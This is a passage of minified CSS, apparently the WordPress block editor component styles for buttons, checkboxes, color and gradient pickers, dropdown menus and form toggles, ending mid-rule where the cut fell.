.components-button{border-radius:0;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e;display:inline-flex}.components-button-group .components-button+.components-button{margin-left:-1px}.components-button-group .components-button:first-child{border-radius:2px 0 0 2px}.components-button-group .components-button:last-child{border-radius:0 2px 2px 0}.components-button-group .components-button.is-primary,.components-button-group .components-button:focus{position:relative;z-index:1}.components-button-group .components-button.is-primary{box-shadow:inset 0 0 0 1px #1e1e1e}.components-button{align-items:center;-webkit-appearance:none;background:none;border:0;border-radius:2px;box-sizing:border-box;color:var(--wp-components-color-foreground,#1e1e1e);cursor:pointer;display:inline-flex;font-family:inherit;font-size:13px;height:36px;margin:0;padding:6px 12px;text-decoration:none}@media not (prefers-reduced-motion){.components-button{transition:box-shadow .1s linear}}.components-button.is-next-40px-default-size{height:40px}.components-button:hover:not(:disabled,[aria-disabled=true]),.components-button[aria-expanded=true]{color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-button:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:3px solid #0000}.components-button.is-primary{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:var(--wp-components-color-accent-inverted,#fff);outline:1px solid #0000;text-decoration:none;text-shadow:none;white-space:nowrap}.components-button.is-primary:hover:not(:disabled){background:var(--wp-components-color-accent-darker-10,var(--wp-admin-theme-color-darker-10,#2145e6));color:var(--wp-components-color-accent-inverted,#fff)}.components-button.is-primary:active:not(:disabled){background:var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6));border-color:var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6));color:var(--wp-components-color-accent-inverted,#fff)}.components-button.is-primary:focus:not(:disabled){box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-button.is-primary:disabled,.components-button.is-primary:disabled:active:enabled,.components-button.is-primary[aria-disabled=true],.components-button.is-primary[aria-disabled=true]:active:enabled,.components-button.is-primary[aria-disabled=true]:enabled{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:#fff6;outline:none}.components-button.is-primary:disabled:active:enabled:focus:enabled,.components-button.is-primary:disabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:active:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:focus:enabled{box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-button.is-primary.is-busy,.components-button.is-primary.is-busy:disabled,.components-button.is-primary.is-busy[aria-disabled=true]{background-image:linear-gradient(-45deg,var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)) 33%,var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6)) 33%,var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6)) 70%,var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)) 70%);background-size:100px 100%;border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:var(--wp-components-color-accent-inverted,#fff)}.components-button.is-secondary,.components-button.is-tertiary{outline:1px solid #0000}.components-button.is-secondary:active:not(:disabled),.components-button.is-tertiary:active:not(:disabled){box-shadow:none}.components-button.is-secondary:disabled,.components-button.is-secondary[aria-disabled=true],.components-button.is-secondary[aria-disabled=true]:hover,.components-button.is-tertiary:disabled,.components-button.is-tertiary[aria-disabled=true],.components-button.is-tertiary[aria-disabled=true]:hover{background:#0000;color:#949494;transform:none}.components-button.is-secondary{background:#0000;box-shadow:inset 0 0 0 1px var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)),0 0 0 currentColor;color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:1px solid #0000;white-space:nowrap}.components-button.is-secondary:hover:not(:disabled,[aria-disabled=true],.is-pressed){background:color-mix(in srgb,var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)) 4%,#0000);box-shadow:inset 0 0 0 1px var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6));color:var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6))}.components-button.is-secondary:disabled:not(:focus),.components-button.is-secondary[aria-disabled=true]:hover:not(:focus),.components-button.is-secondary[aria-disabled=true]:not(:focus){box-shadow:inset 0 0 0 1px #ddd}.components-button.is-secondary:focus:not(:disabled){box-shadow:0 0 0 currentColor inset,0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-button.is-tertiary{background:#0000;color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));white-space:nowrap}.components-button.is-tertiary:hover:not(:disabled,[aria-disabled=true],.is-pressed){background:color-mix(in srgb,var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)) 4%,#0000);color:var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6))}.components-button.is-tertiary:active:not(:disabled,[aria-disabled=true]){background:color-mix(in srgb,var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)) 8%,#0000)}p+.components-button.is-tertiary{margin-left:-6px}.components-button.is-tertiary:disabled:not(:focus),.components-button.is-tertiary[aria-disabled=true]:hover:not(:focus),.components-button.is-tertiary[aria-disabled=true]:not(:focus){box-shadow:none;outline:none}.components-button.is-destructive{--wp-components-color-accent:#cc1818;--wp-components-color-accent-darker-10:#9e1313;--wp-components-color-accent-darker-20:#710d0d}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link){color:#cc1818}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):hover:not(:disabled,[aria-disabled=true]){color:#710d0d}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #cc1818}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):active:not(:disabled,[aria-disabled=true]){background:#ccc}.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):disabled,.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link)[aria-disabled=true]{color:#949494}.components-button.is-destructive.is-secondary:hover:not(:disabled,[aria-disabled=true]),.components-button.is-destructive.is-tertiary:hover:not(:disabled,[aria-disabled=true]){background:#cc18180a}.components-button.is-destructive.is-secondary:active:not(:disabled,[aria-disabled=true]),.components-button.is-destructive.is-tertiary:active:not(:disabled,[aria-disabled=true]){background:#cc181814}.components-button.is-link{background:none;border:0;border-radius:0;box-shadow:none;color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));height:auto;margin:0;outline:none;padding:0;text-align:left;text-decoration:underline}@media not (prefers-reduced-motion){.components-button.is-link{transition-duration:.05s;transition-property:border,background,color;transition-timing-function:ease-in-out}}.components-button.is-link:focus{border-radius:2px}.components-button.is-link:disabled,.components-button.is-link[aria-disabled=true]{color:#949494}.components-button:not(:disabled,[aria-disabled=true]):active{color:var(--wp-components-color-foreground,#1e1e1e)}.components-button:disabled,.components-button[aria-disabled=true]{color:#949494;cursor:default}.components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{background-image:linear-gradient(-45deg,#fafafa 33%,#e0e0e0 0,#e0e0e0 70%,#fafafa 0);background-size:100px 100%}@media not (prefers-reduced-motion){.components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{animation:components-button__busy-animation 2.5s linear infinite}}.components-button.is-compact{height:32px}.components-button.is-compact.has-icon:not(.has-text){min-width:32px;padding:0;width:32px}.components-button.is-small{font-size:11px;height:24px;line-height:22px;padding:0 8px}.components-button.is-small.has-icon:not(.has-text){min-width:24px;padding:0;width:24px}.components-button.has-icon{justify-content:center;min-width:36px;padding:6px}.components-button.has-icon.is-next-40px-default-size{min-width:40px}.components-button.has-icon .dashicon{align-items:center;box-sizing:initial;display:inline-flex;justify-content:center;padding:2px}.components-button.has-icon.has-text{gap:4px;justify-content:start;padding-left:8px;padding-right:12px}.components-button.is-pressed,.components-button.is-pressed:hover{color:var(--wp-components-color-foreground-inverted,#fff)}.components-button.is-pressed:hover:not(:disabled,[aria-disabled=true]),.components-button.is-pressed:not(:disabled,[aria-disabled=true]){background:var(--wp-components-color-foreground,#1e1e1e)}.components-button.is-pressed:disabled,.components-button.is-pressed[aria-disabled=true]{color:#949494}.components-button.is-pressed:disabled:not(.is-primary):not(.is-secondary):not(.is-tertiary),.components-button.is-pressed[aria-disabled=true]:not(.is-primary):not(.is-secondary):not(.is-tertiary){background:#949494;color:var(--wp-components-color-foreground-inverted,#fff)}.components-button.is-pressed:focus:not(:disabled){box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000}.components-button svg{fill:currentColor;outline:none}@media (forced-colors:active){.components-button svg{fill:CanvasText}}.components-button .components-visually-hidden{height:auto}@keyframes components-button__busy-animation{0%{background-position:200px 0}}.components-checkbox-control{--checkbox-input-size:24px;--checkbox-input-margin:8px}@media (min-width:600px){.components-checkbox-control{--checkbox-input-size:16px}}.components-checkbox-control__label{cursor:pointer;line-height:var(--checkbox-input-size)}.components-checkbox-control__input[type=checkbox]{appearance:none;background:#fff;border:1px solid #1e1e1e;border-radius:2px;box-shadow:0 0 0 #0000;clear:none;color:#1e1e1e;cursor:pointer;display:inline-block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:var(--checkbox-input-size);line-height:normal;line-height:0;margin:0 4px 0 0;outline:0;padding:6px 8px;padding:0!important;text-align:center;transition:none;vertical-align:top;width:var(--checkbox-input-size)}@media not (prefers-reduced-motion){.components-checkbox-control__input[type=checkbox]{transition:box-shadow .1s linear}}@media (min-width:600px){.components-checkbox-control__input[type=checkbox]{font-size:13px;line-height:normal}}.components-checkbox-control__input[type=checkbox]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox]::-webkit-input-placeholder{color:#1e1e1e9e}.components-checkbox-control__input[type=checkbox]::-moz-placeholder{color:#1e1e1e9e}.components-checkbox-control__input[type=checkbox]:-ms-input-placeholder{color:#1e1e1e9e}.components-checkbox-control__input[type=checkbox]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox]:checked::-ms-check{opacity:0}.components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{color:#fff;margin:-3px -5px}@media (min-width:782px){.components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{margin:-4px 0 0 -5px}}.components-checkbox-control__input[type=checkbox][aria-checked=mixed]{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{content:"\f460";display:inline-block;float:left;font:normal 30px/1 dashicons;vertical-align:middle;width:16px;speak:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media (min-width:782px){.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{float:none;font-size:21px}}.components-checkbox-control__input[type=checkbox]:disabled,.components-checkbox-control__input[type=checkbox][aria-disabled=true]{background:#f0f0f0;border-color:#ddd;cursor:default;opacity:1}@media not (prefers-reduced-motion){.components-checkbox-control__input[type=checkbox]{transition:border-color .1s ease-in-out}}.components-checkbox-control__input[type=checkbox]:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.components-checkbox-control__input[type=checkbox]:checked,.components-checkbox-control__input[type=checkbox]:indeterminate{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-checkbox-control__input[type=checkbox]:checked::-ms-check,.components-checkbox-control__input[type=checkbox]:indeterminate::-ms-check{opacity:0}.components-checkbox-control__input[type=checkbox]:checked:before{content:none}.components-checkbox-control__input-container{aspect-ratio:1;display:inline-block;flex-shrink:0;line-height:1;margin-right:var(--checkbox-input-margin);position:relative;vertical-align:middle;width:var(--checkbox-input-size)}svg.components-checkbox-control__checked,svg.components-checkbox-control__indeterminate{--checkmark-size:var(--checkbox-input-size);fill:#fff;cursor:pointer;height:var(--checkmark-size);left:50%;pointer-events:none;position:absolute;top:50%;transform:translate(-50%,-50%);-webkit-user-select:none;user-select:none;width:var(--checkmark-size)}@media (min-width:600px){svg.components-checkbox-control__checked,svg.components-checkbox-control__indeterminate{--checkmark-size:calc(var(--checkbox-input-size) + 4px)}}.components-checkbox-control__help{display:inline-block;margin-inline-start:calc(var(--checkbox-input-size) + var(--checkbox-input-margin))}.components-circular-option-picker{display:inline-block;min-width:188px;width:100%}.components-circular-option-picker .components-circular-option-picker__custom-clear-wrapper{display:flex;justify-content:flex-end;margin-top:12px}.components-circular-option-picker .components-circular-option-picker__swatches{display:flex;flex-wrap:wrap;gap:12px;position:relative;z-index:1}.components-circular-option-picker>:not(.components-circular-option-picker__swatches){position:relative;z-index:0}.components-circular-option-picker__option-wrapper{display:inline-block;height:28px;transform:scale(1);vertical-align:top;width:28px}@media not (prefers-reduced-motion){.components-circular-option-picker__option-wrapper{transition:transform .1s ease;will-change:transform}}.components-circular-option-picker__option-wrapper:hover{transform:scale(1.2)}.components-circular-option-picker__option-wrapper>div{height:100%;width:100%}.components-circular-option-picker__option-wrapper:before{background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='28' height='28' fill='none'%3E%3Cpath fill='%23555D65' d='M6 8V6H4v2zm2 0V6h2v2zm2 8H8v-2h2zm2 0v-2h2v2zm0 2v-2h-2v2H8v2h2v-2zm2 0v2h-2v-2zm2 0h-2v-2h2z'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M18 18h2v-2h-2v-2h2v-2h-2v-2h2V8h-2v2h-2V8h-2v2h2v2h-2v2h2v2h2zm-2-4v-2h2v2z' clip-rule='evenodd'/%3E%3Cpath fill='%23555D65' d='M18 18v2h-2v-2z'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M8 10V8H6v2H4v2h2v2H4v2h2v2H4v2h2v2H4v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2v2h-2V4h-2v2h-2V4h-2v2h-2V4h-2v2h2v2h-2v2zm0 2v-2H6v2zm2 0v-2h2v2zm0 2v-2H8v2H6v2h2v2H6v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h-2v2h-2V6h-2v2h-2v2h2v2h-2v2z' clip-rule='evenodd'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M4 0H2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2H8V0H6v2H4zm0 4V2H2v2zm2 0V2h2v2zm0 2V4H4v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2H8v2z' clip-rule='evenodd'/%3E%3C/svg%3E");border-radius:50%;bottom:1px;content:"";left:1px;position:absolute;right:1px;top:1px;z-index:-1}.components-circular-option-picker__option{aspect-ratio:1;background:#0000;border:none;border-radius:50%;box-shadow:inset 0 0 0 14px;cursor:pointer;display:inline-block;height:100%!important;vertical-align:top}@media not (prefers-reduced-motion){.components-circular-option-picker__option{transition:box-shadow .1s ease}}.components-circular-option-picker__option:hover{box-shadow:inset 0 0 0 14px!important}.components-circular-option-picker__option[aria-pressed=true],.components-circular-option-picker__option[aria-selected=true]{box-shadow:inset 0 0 0 4px;overflow:visible;position:relative;z-index:1}.components-circular-option-picker__option[aria-pressed=true]+svg,.components-circular-option-picker__option[aria-selected=true]+svg{border-radius:50%;left:2px;pointer-events:none;position:absolute;top:2px;z-index:2}.components-circular-option-picker__option:after{border:1px solid #0000;border-radius:50%;bottom:-1px;box-shadow:inset 0 0 0 1px #0003;box-sizing:inherit;content:"";left:-1px;position:absolute;right:-1px;top:-1px}.components-circular-option-picker__option:focus:after{border:2px solid #757575;border-radius:50%;box-shadow:inset 0 0 0 2px #fff;content:"";height:calc(100% + 4px);left:50%;position:absolute;top:50%;transform:translate(-50%,-50%);width:calc(100% + 4px)}.components-circular-option-picker__option.components-button:focus{background-color:initial;box-shadow:inset 0 0 0 14px;outline:none}.components-circular-option-picker__button-action .components-circular-option-picker__option{background:#fff;color:#fff}.components-circular-option-picker__dropdown-link-action{margin-right:16px}.components-circular-option-picker__dropdown-link-action .components-button{line-height:22px}.components-palette-edit__popover-gradient-picker{padding:8px;width:260px}.components-dropdown-menu__menu .components-palette-edit__menu-button{width:100%}.component-color-indicator{background:#fff linear-gradient(-45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0);border-radius:50%;box-shadow:inset 0 0 0 1px #0003;display:inline-block;height:20px;padding:0;width:20px}.components-combobox-control{width:100%}input.components-combobox-control__input[type=text]{border:none;box-shadow:none;font-family:inherit;font-size:16px;line-height:inherit;margin:0;min-height:auto;padding:2px;width:100%}@media (min-width:600px){input.components-combobox-control__input[type=text]{font-size:13px}}input.components-combobox-control__input[type=text]:focus{box-shadow:none;outline:none}.components-combobox-control__suggestions-container{align-items:flex-start;border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;display:flex;flex-wrap:wrap;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;padding:0;width:100%}@media not (prefers-reduced-motion){.components-combobox-control__suggestions-container{transition:box-shadow .1s linear}}@media (min-width:600px){.components-combobox-control__suggestions-container{font-size:13px;line-height:normal}}.components-combobox-control__suggestions-container:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-combobox-control__suggestions-container::-webkit-input-placeholder{color:#1e1e1e9e}.components-combobox-control__suggestions-container::-moz-placeholder{color:#1e1e1e9e}.components-combobox-control__suggestions-container:-ms-input-placeholder{color:#1e1e1e9e}.components-combobox-control__suggestions-container:focus-within{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-combobox-control__suggestions-container .components-spinner{margin:0}.components-color-palette__custom-color-wrapper{position:relative;z-index:0}.components-color-palette__custom-color-button{background:none;border:none;border-radius:4px 4px 0 0;box-shadow:inset 0 0 0 1px #0003;box-sizing:border-box;cursor:pointer;height:64px;outline:1px solid #0000;position:relative;width:100%}.components-color-palette__custom-color-button:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline-width:2px}.components-color-palette__custom-color-button:after{background-image:repeating-linear-gradient(45deg,#e0e0e0 25%,#0000 0,#0000 75%,#e0e0e0 0,#e0e0e0),repeating-linear-gradient(45deg,#e0e0e0 25%,#0000 0,#0000 75%,#e0e0e0 0,#e0e0e0);background-position:0 0,24px 24px;background-size:48px 48px;border-radius:3px 3px 0 0;content:"";inset:1px;position:absolute;z-index:-1}.components-color-palette__custom-color-text-wrapper{border-radius:0 0 4px 4px;box-shadow:inset 0 -1px 0 0 #0003,inset 1px 0 0 0 #0003,inset -1px 0 0 0 #0003;font-size:13px;padding:12px 16px;position:relative}.components-color-palette__custom-color-name{color:var(--wp-components-color-foreground,#1e1e1e);margin:0 1px}.components-color-palette__custom-color-value{color:#757575}.components-color-palette__custom-color-value--is-hex{text-transform:uppercase}.components-color-palette__custom-color-value:empty:after{content:"​";visibility:hidden}.components-custom-gradient-picker__gradient-bar{border-radius:2px;height:48px;position:relative;width:100%;z-index:1}.components-custom-gradient-picker__gradient-bar.has-gradient{background-image:repeating-linear-gradient(45deg,#e0e0e0 25%,#0000 0,#0000 75%,#e0e0e0 0,#e0e0e0),repeating-linear-gradient(45deg,#e0e0e0 25%,#0000 0,#0000 75%,#e0e0e0 0,#e0e0e0);background-position:0 0,12px 12px;background-size:24px 24px}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__gradient-bar-background{inset:0;position:absolute}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__markers-container{margin-left:auto;margin-right:auto;position:relative;width:calc(100% - 48px)}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-dropdown{display:flex;height:16px;position:absolute;top:16px;width:16px}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point-dropdown{background:#fff;border-radius:50%;color:#1e1e1e;height:inherit;min-width:16px!important;padding:2px;position:relative;width:inherit}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point-dropdown svg{height:100%;width:100%}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button{border-radius:50%;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 2px 0 #00000040;height:inherit;outline:2px solid #0000;padding:0;width:inherit}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button.is-active,.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button:focus{box-shadow:inset 0 0 0 calc(var(--wp-admin-border-width-focus)*2) #fff,0 0 2px 0 #00000040;outline:1.5px solid #0000}.components-custom-gradient-picker__remove-control-point-wrapper{padding-bottom:8px}.components-custom-gradient-picker__inserter{direction:ltr}.components-custom-gradient-picker__liner-gradient-indicator{display:inline-block;flex:0 auto;height:20px;width:20px}.components-custom-gradient-picker__ui-line{position:relative;z-index:0}.block-editor-dimension-control .components-base-control__field{align-items:center;display:flex}.block-editor-dimension-control .components-base-control__label{align-items:center;display:flex;margin-bottom:0;margin-right:1em}.block-editor-dimension-control .components-base-control__label .dashicon{margin-right:.5em}.block-editor-dimension-control.is-manual .components-base-control__label{width:10em}body.is-dragging-components-draggable{cursor:move;cursor:grabbing!important}.components-draggable__invisible-drag-image{height:50px;left:-1000px;position:fixed;width:50px}.components-draggable__clone{background:#0000;padding:0;pointer-events:none;position:fixed;z-index:1000000000}.components-drop-zone{border-radius:2px;bottom:0;left:0;opacity:0;position:absolute;right:0;top:0;visibility:hidden;z-index:40}.components-drop-zone.is-active{opacity:1;visibility:visible}.components-drop-zone .components-drop-zone__content{align-items:center;background-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));bottom:0;color:#fff;display:flex;height:100%;justify-content:center;left:0;opacity:0;pointer-events:none;position:absolute;right:0;text-align:center;top:0;width:100%;z-index:50}.components-drop-zone .components-drop-zone__content-inner{opacity:0;transform:scale(.9)}.components-drop-zone.is-active.is-dragging-over-element .components-drop-zone__content{opacity:1}@media not (prefers-reduced-motion){.components-drop-zone.is-active.is-dragging-over-element .components-drop-zone__content{transition:opacity .2s ease-in-out}}.components-drop-zone.is-active.is-dragging-over-element .components-drop-zone__content-inner{opacity:1;transform:scale(1)}@media not (prefers-reduced-motion){.components-drop-zone.is-active.is-dragging-over-element .components-drop-zone__content-inner{transition:opacity .1s ease-in-out .1s,transform .1s ease-in-out .1s}}.components-drop-zone__content-icon,.components-drop-zone__content-text{display:block}.components-drop-zone__content-icon{line-height:0;margin:0 auto 8px;fill:currentColor;pointer-events:none}.components-drop-zone__content-text{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.components-dropdown{display:inline-block}.components-dropdown__content .components-popover__content{padding:8px}.components-dropdown__content .components-popover__content:has(.components-menu-group){padding:0}.components-dropdown__content .components-popover__content:has(.components-menu-group) .components-dropdown-menu__menu>.components-menu-item__button,.components-dropdown__content .components-popover__content:has(.components-menu-group)>.components-menu-item__button{margin:8px;width:auto}.components-dropdown__content [role=menuitem]{white-space:nowrap}.components-dropdown__content .components-menu-group{padding:8px}.components-dropdown__content .components-menu-group+.components-menu-group{border-top:1px solid #ccc;padding:8px}.components-dropdown__content.is-alternate .components-menu-group+.components-menu-group{border-color:#1e1e1e}.components-dropdown-menu__toggle{vertical-align:top}.components-dropdown-menu__menu{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:1.4;width:100%}.components-dropdown-menu__menu .components-dropdown-menu__menu-item,.components-dropdown-menu__menu .components-menu-item{cursor:pointer;outline:none;padding:6px;white-space:nowrap;width:100%}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator,.components-dropdown-menu__menu .components-menu-item.has-separator{margin-top:6px;overflow:visible;position:relative}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator:before,.components-dropdown-menu__menu .components-menu-item.has-separator:before{background-color:#ddd;box-sizing:initial;content:"";display:block;height:1px;left:0;position:absolute;right:0;top:-3px}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active .dashicon,.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active svg,.components-dropdown-menu__menu .components-menu-item.is-active .dashicon,.components-dropdown-menu__menu .components-menu-item.is-active svg{background:#1e1e1e;border-radius:1px;box-shadow:0 0 0 1px #1e1e1e;color:#fff}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-icon-only,.components-dropdown-menu__menu .components-menu-item.is-icon-only{width:auto}.components-dropdown-menu__menu .components-menu-item__button,.components-dropdown-menu__menu .components-menu-item__button.components-button{height:auto;min-height:40px;padding-left:8px;padding-right:8px;text-align:left}.components-duotone-picker__color-indicator:before{background:#0000}.components-duotone-picker__color-indicator>.components-button,.components-duotone-picker__color-indicator>.components-button.is-pressed:hover:not(:disabled){background:linear-gradient(-45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0);color:#0000}.components-duotone-picker__color-indicator>.components-button:not([aria-disabled=true]):active{color:#0000}.components-color-list-picker,.components-color-list-picker__swatch-button{width:100%}.components-color-list-picker__color-picker{margin:8px 0}.components-color-list-picker__swatch-color{margin:2px}.components-external-link{text-decoration:none}.components-external-link__contents{text-decoration:underline}.components-external-link__icon{font-weight:400;margin-left:.5ch}.components-form-toggle{display:inline-block;height:16px;position:relative}.components-form-toggle .components-form-toggle__track{background-color:#fff;border:1px solid #949494;border-radius:8px;box-sizing:border-box;content:"";display:inline-block;height:16px;overflow:hidden;position:relative;vertical-align:top;width:32px}@media not (prefers-reduced-motion){.components-form-toggle .components-form-toggle__track{transition:background-color .2s ease,border-color .2s ease}}.components-form-toggle .components-form-toggle__track:after{border-top:16px solid #0000;box-sizing:border-box;content:"";inset:0;opacity:0;position:absolute}@media not (prefers-reduced-motion){.components-form-toggle .components-form-toggle__track:after{transition:opacity .2s ease}}.components-form-toggle .components-form-toggle__thumb{background-color:#1e1e1e;border:6px solid #0000;border-radius:50%;box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;box-sizing:border-box;display:block;height:12px;left:2px;position:absolute;top:2px;width:12px}@media not (prefers-reduced-motion){.components-form-toggle .components-form-toggle__thumb{transition:transform .2s ease,background-color .2s ease-out}}.components-form-toggle.is-checked .components-form-toggle__track{background-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-form-toggle.is-checked .components-form-toggle__track:after{opacity:1}.components-form-toggle .components-form-toggle__input:focus+.components-form-toggle__track{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000;outline-offset:2px}.components-form-toggle.is-checked .components-form-toggle__thumb{background-color:#fff;border-width:0;transform:translateX(16px)}.components-disabled .components-form-toggle,.components-form-toggle.is-disabled{opacity:.3}.components-form-toggle 